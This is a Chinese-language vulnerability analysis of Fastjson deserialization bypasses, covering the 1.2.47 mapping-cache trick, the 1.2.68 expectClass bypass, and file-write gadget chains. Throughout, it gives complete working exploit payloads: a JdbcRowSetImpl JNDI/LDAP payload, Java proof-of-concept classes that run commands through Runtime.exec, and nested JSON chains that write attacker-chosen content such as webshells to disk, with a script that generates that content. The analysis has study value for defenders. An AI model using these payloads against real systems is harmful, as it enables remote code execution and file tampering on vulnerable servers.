            hash *= PRIME;  
			  //黑名单校验
            if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
			  //白名单校验
            if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {  
                if (clazz == null) {  
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);  
                }  
  
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {  
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
                }  
  
                return clazz;  
            }  
        }  
    }  
  
    if (clazz == null) {  
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);  
    }  
  
    if (clazz != null) {  
        if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {  
            return clazz;  
        }  
  
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger  
                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver  
                ) {  
            throw new JSONException("autoType is not support. " + typeName);  
        }  
  
        if (expectClass != null) {  
            if (expectClass.isAssignableFrom(clazz)) {  
                return clazz;  
            } else {  
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
            }  
        }  
  
        JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);  
        if (beanInfo.creatorConstructor != null && autoTypeSupport) {  
            throw new JSONException("autoType is not support. " + typeName);  
        }  
    }  
  
    final int mask = Feature.SupportAutoType.mask;  
    boolean autoTypeSupport = this.autoTypeSupport  
            || (features & mask) != 0  
            || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;  
  
    if (!autoTypeSupport) {  
        throw new JSONException("autoType is not support. " + typeName);  
    }  
  
    return clazz;  
}

可以看到,如果我们在mapping中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping这个属性是否可控,如果能够将我们的恶意类写入mapping中,那么就有可能绕过checkAutoType()的检测

下面我们看一看TypeUtils#getClassFromMapping方法

public static Class<?> getClassFromMapping(String className){  
    return mappings.get(className);  
}

mapping中获取类名,下面我们就来看看mapping是在哪里赋值的,寻找mapping.put方法,
在以下两个方法中被调用

TypeUtils#addBaseClassMappings
TypeUtils#loadClass

其中TypeUtils#addBaseClassMappings为无参方法,并且没有我们可控的参数。

我们直接看TypeUtils#loadClass方法,这个方法其实之前我们也分析过了,就是在加载类之前对类名做一些检查和判断,这部分代码我们就先跳过。

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {  
    //前面跳过
    try{  
    //第一处,classLoader不为null
        if(classLoader != null){  
            clazz = classLoader.loadClass(className);  
            //如果chche为true,则将我们输入的className缓存入mapping中
            if (cache) {  
                mappings.put(className, clazz);  
            }  
            return clazz;  
        }  
    } catch(Throwable e){  
        e.printStackTrace();  
        // skip  
    }  
    try{  
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        //第二处,检查较为严格  
        if(contextClassLoader != null && contextClassLoader != classLoader){  
            clazz = contextClassLoader.loadClass(className);  
            //如果chche为true,则将我们输入的className缓存入mapping中
            if (cache) {  
                mappings.put(className, clazz);  
            }  
            return clazz;  
        }  
    } catch(Throwable e){  
        // skip  
    }  
    try{  
        clazz = Class.forName(className); 
        //第三处,限制宽松 
        mappings.put(className, clazz);  
        return clazz;  
    } catch(Throwable e){  
        // skip  
    }  
    return clazz;  
}

可以看见以上有三个地方能够向mapping写入恶意类,我们先看看哪里调用了loadClass

就在TypeUtils的同名方法中,并且cache默认为true,完美符合,接着寻找调用。
在MiscCodec#deserialze中

其中clazz必须为Class.class,可以由@type控制。strVal即为我们要控制的className,我们先看看strVal在哪里被赋值的

接着找objVal的赋值

Object objVal;  
  //if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {  
    parser.resolveStatus = DefaultJSONParser.NONE;  
    parser.accept(JSONToken.COMMA);  
  //必须有val属性
    if (lexer.token() == JSONToken.LITERAL_STRING) {  
        if (!"val".equals(lexer.stringVal())) {  
            throw new JSONException("syntax error");  
        }  
        lexer.nextToken();  
    } else {  
        throw new JSONException("syntax error");  
    }  
  
    parser.accept(JSONToken.COLON);  
  //objVal的值为从JSON中解析到的val的值
    objVal = parser.parse();  
  
    parser.accept(JSONToken.RBRACE);  
} else {  
    objVal = parser.parse();  
}

由此我们可以构造出前半部分payload

{
//满足clazz为Class.class
"@type":"java.lang.Class",
 
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}

可以看见这里已经将我们的恶意类写入到了mapping中

后半——从mapping中加载恶意类

上文我们已经分析过了,通过从mapping中加载恶意类可以绕过checkAutoType()的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
可以看见这里的clazz已经被设置为了恶意类,后续的利用就和低版本的利用链一样了。
完整payload

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:9999/EXP",
        "autoCommit": true
    }
}

完整代码

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class Fastjson_Jdbc_LDAP {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
        String payload = "{" +  
                "\"1\":{" +  
                "\"@type\":\"java.lang.Class\"," +  
                "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +  
                "}," +  
                "\"2\":{" +  
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +  
                "\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\"," +  
                "\"autoCommit\":true" +  
                "}" +  
                "}";  
        JSON.parse(payload);  
    }  
}

可以看见该Payload是完全绕过checkAutoType()的各种检测,包括AutoTypeSupport等在内的属性值。
这个payload原理就是
第一阶段(塞入缓存):Fastjson 先解析键 "a"。由于 java.lang.Class 是基础类,属于白名单,默认允许加载。当解析 Class 对象的 val 属性时,Fastjson 会把 val 对应的字符串 "com.sun.rowset.JdbcRowSetImpl" 加载并顺手存入本地缓存 TypeUtils.mappings
第二阶段(绕过检查):Fastjson 紧接着解析键 "b"。此时遇到了黑名单类 com.sun.rowset.JdbcRowSetImpl。但由于第一步的操作,这个类已经躺在 mappings 缓存中了!
Fastjson 直接在缓存中找到了该类,绕过了后续所有的黑名单和 AutoType 检查,直接触发后续利用。

经测试,该版本Payload基本通杀<=1.2.47的Fastjson。其他利用链构造方式同上。

前面的一些漏洞都是在autoTypeSupport = true时才可以利用,通用性不强,但是这个可以直接绕过AutoType,在默认配置下(autoTypeSupport = false)也可以反序列化任意类,利用方法就是先加载java.lang.Class这个合法类,加载时会把Class对象的var属性放入缓存mapping中,而这个var属性就是我们要加载的恶意类,第二步就是直接从mapping缓存加载这个恶意类,这样就绕过了黑名单和AutoType检查。

1.2.48后续版本

该版本修复了cache值默认为true的问题,直接将cache的值改为了false。
1.2.48后续版本主要还是一些第三方组件漏洞,感觉通用性不强。
参考这个https://paper.seebug.org/1155
修复就是把cache值默认改为false,无法再将恶意类写入mapping缓存了

1.2.68

这次的罪魁祸首的确是expectClass参数,但是!expectClass的由来还得从autoType说起。
fastjson为了实现反序列化引入了autoType,之后防止进行恶意反序列化对象从而导致RCE,引入了checkAutoType(),这就引出了很多的问题,包括我们之前提到的都属于它的锅。而这次的expectClass参数也是checkAutoType()函数的一个参数,在之前的漏洞中都没有用到过,所以这次是一个全新的bypass checkAutoType()的方式。

checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()。
此外,由于checkAutoType()中黑名单的检测位于loadClass之前,所以不能在黑名单中,另外恶意类需要是expectClass的接口或是expectClass的子类。

我们查找把expectClass参数传递给checkAutoType()函数的利用类有两个:

  1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
  2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入

无论是上述哪一个利用类都会将@type的值作为typeName传给expectClass并调用checkAutoType(…expectClass…),所以思路就是在poc里写两个@type,第一个正常通过checkAutoType(),然后调用上述类中的deserialze()函数,然后在其中使用expectClass绕过第二次的checkAutoType()函数。

其中对应的分别为:AutoCloseable类和Throwable类,接下来详细分析。

详细分析

首先IDEA创建1.2.68的fastjson的maven项目,之后编写Exp.java和JavaBean.java。
首先IDEA创建1.2.68的fastjson的maven项目,之后编写Exp.java和JavaBean.java。

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
public class Exp {  
    public static void main(String args[]){  
        JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson.JavaBean\", \"cmd\":\"calc.exe\"}");  
    }  
}
package fastjson;  
  
import java.io.IOException;  
public class JavaBean implements AutoCloseable{  
    public JavaBean(String cmd){  
        try{  
            Runtime.getRuntime().exec(cmd);  
        }catch (IOException e){  
            e.printStackTrace();  
        }  
    }  
  
    public void close() throws Exception {  
  
    }  
}

启动后弹出计算器,触发payload。

动态调试

首先在JSON.parseObject()断点进入调试
在DefaultJSONParser.java中,parseObject()对传入数据进行解析,如果是@type则获取到类型名后进行checkAutoType()的检查

单步步入后详细分析下checkAutoType()的检查逻辑

其中一处可以看到如果expectClass不为null,且不在那几个里面就会把expectClassFlag设置为true,我们第二次进入checkAutoType()就会用到

接下来会进行黑白名单查询。首先进行内部白名单,之后及进行内部黑名单,由于内部黑名单为null故跳过

之后,如果非内部白名单并且开启autoTypeSupport或者是expectClass时会进行黑白名单查找。首先在白名单内二分查找,如果在则加载后返回指定class对象,如果不在或者为空,会继续在黑名单中进行二分查找;若不在黑名单且getClassFromMapping返回值为null,就再在白名单查询,若为空则异常,否则continue

之后从缓存中得到赋值给clazz

之后从checkAutoType()返回clazz到DefaultJSONParser.java#parseObject()中,单步到deserializer.deserialze()
在deserialze()解析字段,当为@type(第二个)时,调用checkAutoType()并传入expectClass
第二次步入checkAutoType(),在这里把expectClassFlag设为true
这次进入成功之前分析的黑白名单环节
之后由于autoTypeSupport为true进入if段,又进行了一次黑白名单校验
之后resource将“.”替换为”/“得到路径,并且这里貌似有读文件的功能
之后如果autoType打开或者使用了JSONType注解,又或者 expectClassFlag为true时,并且只有在autoType打开或者使用了JSONType注解时,才会将类加入到缓存mapping中。另外没使用JSONType注解不会返回
之后expectClass不为null,加载到mapping中,并返回JavaBeanDeserializer#deserialze()
之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用

其实原理就是Fastjson 为了防御反序列化漏洞,引入了 checkAutoType() 函数,并维护了一个庞大的黑名单。但是,checkAutoType 还有一个隐藏的绿色通道——期望类(expectClass)机制

当 Fastjson 在解析某个类时,如果它知道这个类必须是某个特定类(expectClass)的子类或实现类,那么它就会放宽检查。
当执行 JSON.parseObject(...) 时,Fastjson 内部会经历以下四个关键步骤:

步骤一:遇到第一个 @type,确立“安全保护伞”
  • 输入"@type":"java.lang.AutoCloseable"
  • 内部动作:Fastjson 遇到第一个 @type,调用 checkAutoType("java.lang.AutoCloseable", ...)
  • 结果:由于 java.lang.AutoCloseable 是 JDK 自带的基础接口,它不在 Fastjson 的黑名单中checkAutoType 顺利放行,并将其加载(clazz = AutoCloseable.class)。
  • 关键埋伏:此时,Fastjson 会把 AutoCloseable.class 作为期望类(expectClass)传递给接下来的反序列化解析器。
步骤二:遇到第二个 @type,实施“瞒天过海”
  • 输入"@type":"fastjson.JavaBean"
  • 内部动作:Fastjson 继续解析,遇到了第二个 @type。此时再次调用 checkAutoType("fastjson.JavaBean", AutoCloseable.class)
  • 绕过逻辑
    1. checkAutoType 首先检查 fastjson.JavaBean 是否在黑名单。显然你自定义的类不在黑名单。
    2. 接着,它发现这次调用带有了 expectClass(即第一步留下的 AutoCloseable.class)。
    3. Fastjson 内部有一段判断逻辑:“如果当前要加载的类,是 expectClass 的子类或实现类,则直接放行。”
    4. 你的 JavaBean 类明确写了 implements AutoCloseable
  • 结果:绿灯大开!Fastjson 绕过了所有常规的 AutoType 安全限制,成功加载了 fastjson.JavaBean 类。
步骤三:实例化与构造函数触发
  • 输入"cmd":"calc.exe"
  • 内部动作:Fastjson 准备实例化 fastjson.JavaBean。它会扫描该类的构造函数或 setter 方法。
  • 匹配:它发现 JavaBean 有一个带有 String cmd 参数的构造函数,且 JSON 中刚好传了 "cmd":"calc.exe"
  • 执行:Fastjson 通过反射调用该构造函数,并将 "calc.exe" 作为参数传入,成功RCE。

上面用的是java.lang.AutoCloseable这个类,也可以用java.lang.Throwable这个类。

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class Exp {  
    public static void main(String[] args) {  
        // 关键:显式将 Throwable 加入白名单,允许第一步加载  
        ParserConfig.getGlobalInstance().addAccept("java.lang.Throwable");  
  
        String jsonPayload = "{" +  
                "\"@type\":\"java.lang.Throwable\"," +  
                "\"@type\":\"fastjson.JavaBeanException\"," +  
                "\"message\":\"calc.exe\"" +  
                "}";  
  
        JSON.parseObject(jsonPayload);  
    }  
}
package fastjson;  
  
// 继承 Exception(Exception 也是 Throwable 的子类)  
public class JavaBeanException extends Exception {  
  
    // 必须要有一个能够接收参数的构造函数,用于接收 JSON 传入的“命令”  
    public JavaBeanException(String cmd) {  
        super(cmd); // 调用父类构造  
        try {  
            // 触发命令执行  
            Runtime.getRuntime().exec(cmd);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

这里有一个坑,在前面 AutoCloseable 的例子中,我们构造函数的参数名是 cmd,JSON 里的 key 也是 "cmd"。但在 Throwable 链条中,这里有一个大坑
当 Fastjson 发现 expectClassThrowable 时,它会专门调用 ThrowableDeserializer 来解析。这个解析器在反射调用构造函数时,有一种特殊的行为:

  • 它会优先去寻找带有 (String message) 或者是 (String message, Throwable cause) 的构造函数。
  • 在匹配 JSON 属性时,它在底层源码里固定硬编码了去取 "message""cause""localizedMessage" 等标准异常属性的值。
    所以参数名要写message而不是cmd

但是在真实环境中,我们是无法直接这样RCE的,因为我们这些危险类是自己写的,真实环境中很难写进去一个这样的类,所以我们要找那种java原生类或者第三方组件的符合漏洞利用条件的类。

小知识1

fastjson除了使用setXXX的方法赋值外,也可以直接对构造函数进行传值反序列为对象,比如

public User(String test){    
	System.out.println(test);
}

可以通过下面的json来实现赋值,这也是后面payload用到的一个点

{	
	"@type":"org.example.User",    
	"test": "123123"
}

小知识2

在分析过程中,反序列化操作时,我们还发现存在一个key $ref
这个$ref参数的作用是什么呢?简单来说就是从其他地方获取一个对象当作参数传进去
"$ref":".." 表示上一级
"$ref":"@" 表示当前对象,也就是自引用
"$ref":"$" 表示根对象
"$ref":"$.children.0" 表示基于路径的引用,相当于 root.getChildren().get(0)

找出可用的gadget

之前的分析中,找到了两个类,一个是AutoCloseable类,还有一个是Throwable相关的类。

关于 gadget 的挖掘思路主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。
首先看一下这里的类的关系,都是继承OutputStream的类,而该类实现了Closeable的接口,closeable又继承了AutoCloseable,因此可以使用OutputStream实现反序列化
寻找 gadget 时的条件是这样的。

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链,最终我挑选出了三个符合条件的类作为演示。

fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可
AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。
什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。

可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:

javap -l <class_name> | grep LocalVariableTable

fastjson使用

String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。

MarshalOutputStream链分析

只适用于jdk11,不用第三方库,作用为写文件
这是因为Fastjson 在反序列化没有无参构造函数、只有带参构造函数的类时,需要通过 ASM 技术去读取类文件的字节码,从中获取 LocalVariableTable(局部变量表),从而得知构造函数的参数名(如 fileappend),才能将 JSON 中的 Key 映射给构造函数。
在 JDK 11 中,这些内置类在编译时保留了 LocalVariableTable。因此,Fastjson 可以顺利解析 FileOutputStream(String name, boolean append) 等多参构造函数。
在原生的 JDK 8 中,绝大多数内置核心类(如 java.io.FileOutputStream)在编译时去掉了局部变量表调试信息(即没有 LocalVariableTable)。这导致 Fastjson 无法识别其带参构造函数的参数名,从而抛出异常。
经典payload

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':
            {
                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit':22
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

整个触发流程是
Fastjson 开始解析 JSON 文本,由于嵌套关系,它会最先试图满足最内层对象的构造:
1.解析FileOutputStream
Fastjson 读取 JDK 11 的 LocalVariableTable,得知构造函数参数名为 fileappend
调用 new FileOutputStream("/tmp/target.txt", false)
结果:目标文件被创建(或清空),文件描述符被打开。
2.解析InflaterOutputStream
接下来解析外一层的 InflaterOutputStream。它的构造函数需要一个 OutputStream
Fastjson 将刚刚生成的 FileOutputStream 实例作为参数传入,并装配 infl 属性(包含经 Base64 解码后的压缩字节数组 input)。
结果:解压流包装了文件流,处于待命状态。
3.解析MarshalOutputStream
最后解析最外层的 MarshalOutputStream。它的构造函数接收一个 OutputStream
Fastjson 将装配好的 InflaterOutputStream 实例传入其构造函数。
4.触发
当 Fastjson 执行 new MarshalOutputStream(InflaterOutputStream实例) 时,真正的写入链条被瞬间激活:
MarshalOutputStream 的父类是 ObjectOutputStream。在它的构造函数执行时,JDK 默认会调用 writeStreamHeader() 方法,目的是向流中写入序列化头部魔术字(如 0xAC ED)。
这个写入操作会直接调用它所包装的底层流——即 InflaterOutputStream.write()
一旦 InflaterOutputStream.write() 被调用,解压引擎开始运转:
InflaterOutputStream 检测到有数据写入(魔术字),它会顺便触发内部的解压机制,将你在 infl.input 中传入的、事先准备好的 Base64 -> 压缩字节数组 进行解压(inflate)。
解压后的真实恶意数据(如 WebShell 内容或伪造的配置)被释放出来。
InflaterOutputStream 调用它所包装的 FileOutputStream.write(),将解压后的数据一股脑写入磁盘文件。
这样就完成了写文件操作。
demo

import com.alibaba.fastjson.JSON;  
  
public class FastjsonDemo {  
    public static void main(String[] args) {  
        // 1. 准备要写入的 Windows 绝对路径(注意双反斜杠或正斜杠)  
        // 建议写到临时目录,避免权限问题  
        String targetPath = "D:/fastjson_test.txt";  
  
        // 2. 刚才用 PayloadBuilder 生成的压缩数据  
        String base64Data = "eJwLysnMzFMoSyzKzcxTqOTKySzNSS1S8MxTSM7PzUzPt1JIUrAy1DHSMdfR0bE00bEEALALEEw=";  
        int dataLength = 53;  
  
        // 3. 构造 1.2.68 的 AutoCloseable 写文件 Payload        String jsonPayload = "{\n" +  
                "  \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "  \"@type\": \"sun.rmi.server.MarshalOutputStream\",\n" +  
                "  \"out\": {\n" +  
                "    \"@type\": \"java.util.zip.InflaterOutputStream\",\n" +  
                "    \"out\": {\n" +  
                "      \"@type\": \"java.io.FileOutputStream\",\n" +  
                "      \"file\": \"" + targetPath + "\",\n" +  
                "      \"append\": false\n" +  
                "    },\n" +  
                "    \"infl\": {\n" +  
                "      \"input\": {\n" +  
                "        \"array\": \"" + base64Data + "\",\n" +  
                "        \"limit\": " + dataLength + "\n" +  
                "      }\n" +  
                "    },\n" +  
                "    \"bufLen\": 1024\n" +  
                "  }\n" +  
                "}";  
  
        System.out.println("开始解析 JSON,触发写文件链...");  
  
        try {  
            // 4. 触发反序列化  
            JSON.parseObject(jsonPayload);  
            System.out.println("解析完成。");  
        } catch (Exception e) {  
            // 链条最后可能会因返回值类型不匹配抛出异常,但不影响文件已经写入成功  
            System.out.println("解析过程中抛出异常(正常现象,文件可能已写入): " + e.getMessage());  
        }  
  
        System.out.println("请检查文件是否存在: " + targetPath);  
    }  
}

写入成功

如果要生成其他的恶意内容,可以用这个脚本生成

import java.io.ByteArrayOutputStream;  
import java.util.Base64;  
import java.util.zip.DeflaterOutputStream;  
  
public class PayloadGenerator {  
    public static void main(String[] args) throws Exception {  
        // 1. 在这里输入你想写入文件的真实内容  
        String myContent = "YOUR_CUSTOM_CONTENT_HERE\nWelcome to 2026!";  
  
        // 2. 进行 zlib 压缩  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        DeflaterOutputStream dos = new DeflaterOutputStream(bos);  
        dos.write(myContent.getBytes("UTF-8"));  
        dos.close();  
  
        // 3. 获取压缩后的字节数组并转换成 Base64        byte[] compressedBytes = bos.toByteArray();  
        String base64Result = Base64.getEncoder().encodeToString(compressedBytes);  
  
        // 4. 打印结果  
        System.out.println("Base64 字符串: " + base64Result);  
        System.out.println("数组长度 (limit): " + compressedBytes.length);  
    }  
}

commons-io 利用链分析

刚才那个链虽然不依赖第三方库,但是还是通用性不强。
这个利用链要用到commons-io这个第三方库

  • 这个库还是比较常见的。
  • commons-io 库里的类字节码带有LocalVariableTable 调试信息
  • commons-io 库里几乎没有类在 fastjson 黑名单中
    先上poc
    commons-io 2.0 - 2.6 版本:
{  "x":{   
	"@type":"com.alibaba.fastjson.JSONObject",  
	"input":{    
		"@type":"java.lang.AutoCloseable", 
		"@type":"org.apache.commons.io.input.ReaderInputStream",   
         "reader":{       
         	"@type":"org.apache.commons.io.input.CharSequenceReader",     
            "charSequence":{
            	"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"//感觉这里少了一个大括号,但是加上去又会报错     
               			 },    
            "charsetName":"UTF-8",    
            "bufferSize":1024   
            	},  
      	 "branch":{
         	"@type":"java.lang.AutoCloseable",
            "@type":"org.apache.commons.io.output.WriterOutputStream",  
            "writer":{   
            	"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
            	"file":"/tmp/pwned",  
                "encoding":"UTF-8",     
                "append": false     
                	},      
            "charsetName":"UTF-8",     
            "bufferSize": 1024,    
            "writeImmediately": true  
            },  
            "trigger":{    
            	"@type":"java.lang.AutoCloseable",
            	"@type":"org.apache.commons.io.input.XmlStreamReader", 
                "is":{    
                	"@type":"org.apache.commons.io.input.TeeInputStream", 
                    "input":{      
                    	"$ref":"$.input"    
                        },      
                    "branch":{    
                    	"$ref":"$.branch"   
                        },       
                    "closeBranch": true   
                    },     
                 "httpContentType":"text/xml",    
                 "lenient":false,   
                 "defaultEncoding":"UTF-8"   
                 },   
            "trigger2":{    
            	"@type":"java.lang.AutoCloseable",
            	"@type":"org.apache.commons.io.input.XmlStreamReader", 
                "is":{     
                	"@type":"org.apache.commons.io.input.TeeInputStream",    
                    "input":{       
                    	"$ref":"$.input"   
                        },     
                    "branch":{        
                    	"$ref":"$.branch"   
                        },      
                    "closeBranch": true    
                    },     
                "httpContentType":"text/xml",    
                "lenient":false,   
                "defaultEncoding":"UTF-8"   
                },  
             "trigger3":{    
            	 "@type":"java.lang.AutoCloseable",
             	 "@type":"org.apache.commons.io.input.XmlStreamReader", 
                 "is":{       
                 	"@type":"org.apache.commons.io.input.TeeInputStream",  
                    "input":{         
                    	"$ref":"$.input"  
                        },     
                     "branch":{     
                     	"$ref":"$.branch"   
                        },   
                     "closeBranch": true     
                     },    
                 "httpContentType":"text/xml",   
                 "lenient":false,  
                 "defaultEncoding":"UTF-8"  
                 } 
            }
      }

commons-io 2.7 - 2.8.0 版本:

{
  "x": {
    "@type": "com.alibaba.fastjson.JSONObject",
    "input": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
          "@type": "java.lang.String""aaaaaa...(此处替换为你想写入的文本,长度建议大于8192以填满探测缓存)"
        },
        "start": 0,
        "end": 2147483647
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "branch": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/tmp/pwned",
        "encoding": "UTF-8",
        "append": false
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "$ref": "$.input"
        },
        "branch": {
          "$ref": "$.branch"
        },
        "closeBranch": true
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "UTF-8"
    },
    "trigger2": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "$ref": "$.input"
        },
        "branch": {
          "$ref": "$.branch"
        },
        "closeBranch": true
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "UTF-8"
    },
    "trigger3": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "$ref": "$.input"
        },
        "branch": {
          "$ref": "$.branch"
        },
        "closeBranch": true
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "UTF-8"
    }
  }
}

首先看一个基本的payload

{
  "@type": "java.lang.AutoCloseable",
  "@type": "org.apache.commons.io.input.XmlStreamReader",
  "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": "这里替换成你想写入的任意文本内容(不超过8192字节)"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "branch": {
      "@type": "org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "D:/commons_io_test2.txt",
        "encoding": "UTF-8",
        "append": false
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "closeBranch": true
  },
  "httpContentType": "text/xml",
  "lenient": false,
  "defaultEncoding": "UTF-8"
}

解释一下这个触发链
Fastjson 遇到这种深层嵌套的 JSON 时,解析器会像剥洋葱一样,从最内层的叶子节点开始实例化对象

[CharSequenceReader] ──> [ReaderInputStream] ──┐
                                               ├──> [TeeInputStream] ──> [XmlStreamReader] (引爆点)
[FileWriterWithEncoding] ──> [WriterOutputStream] ┘

步骤1
Fastjson 解析到最内层的第 9-10 行,首先实例化 CharSequenceReader,将你的恶意字符串 "aaaaaa" 装进去。接着(第 7 行)创建 ReaderInputStream 将其包裹。
此时状态:有了一个装满恶意数据的“蓄水池”。
步骤2
Fastjson 转头去解析第 18-21 行,实例化 FileWriterWithEncoding,锁定磁盘路径 /tmp/pwned。接着(第 16 行)创建 WriterOutputStream 将其包裹,并注入 "writeImmediately": true 属性。
此时状态:有了一个绝对不留存缓存、给多少吐多少的“强力排水口”。
步骤3
有了水源和排水口,Fastjson 开始解析第 5 行的 TeeInputStream。它把刚刚做好的“蓄水池”传给 input 属性,把“强力排水口”传给 branch 属性。
三通管道在内存中完美合龙。
触发
Fastjson 终于来到了最外层(第 3 行):实例化 XmlStreamReader
XmlStreamReader 被创建时,它的构造函数需要执行一个核心逻辑:判断传入的这个流,到底是不是 XML 格式?如果是,它的编码是什么? 为了探测编码,它的构造函数内部会强制调用:

// XmlStreamReader 源码内部行为
byte[] buffer = new byte[8192]; 
int numRead = is.read(buffer, 0, 8192); // 强行向上游索要最多 8192 字节的数据

此时,它手里的 is 正是前面拼装好的 TeeInputStream
TeeInputStream 收到 read 请求后,立刻去自己的上游(ReaderInputStream 蓄水池)吸出 "aaaaaa" 这段数据。
而在 TeeInputStream 的底层源码中,它的 read 方法长这样:

public int read(byte[] b, int off, int len) throws IOException {
    int ch = input.read(b, off, len); // 1. 从上游读数据
    if (ch != -1) {
        branch.write(b, off, ch);     // 2. 只要读到了,自动复制一份写给下游!
    }
    return ch;
}

这一步,数据在神不知鬼不觉中,被自动分流拷贝了一份,直接推给了下游的 WriterOutputStream
